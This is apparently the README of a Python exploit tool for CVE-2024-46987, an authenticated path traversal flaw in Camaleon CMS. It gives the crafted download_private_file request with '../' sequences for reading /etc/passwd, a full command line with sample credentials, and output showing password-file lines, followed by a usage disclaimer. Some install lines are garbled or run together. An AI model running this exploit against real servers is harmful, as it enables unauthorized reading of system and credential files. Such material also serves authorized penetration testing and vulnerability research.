
Exploit created using Python
CVE-2024-46987 is an authenticated path traversal vulnerability (CWE-22) in Camaleon CMS (a Ruby on Rails-based content management system). It allows a logged-in user (even with low privileges) to read arbitrary files on the server via the MediaController#download_private_file action.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:NAn attacker with valid credentials can send a crafted request to: /admin/media/download_private_file?file=../../../../etc/passwd
pip install -r requirements.txtOR
pip install -r requests firepython cms-exploit.py \
--url http://target.local \
--username neal \
--password 'Caffery@123' \
--cmd /etc/passwd
[+] Login successful
[*] Requesting: http://target.local/admin/media/download_private_file?file=../../../etc/passwd
[+] Success – content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.
.
Note: The script assumes Rails-style login form (user[email], user[password], authenticity_token). Adjust payload fields if your target uses custom names.
This tool is provided for educational and authorized security testing purposes only.
Use only on systems you own or have explicit written permission to test (e.g., bug bounty programs, internal pentests, labs like HTB). Unauthorized use may violate laws. The author is not responsible for misuse.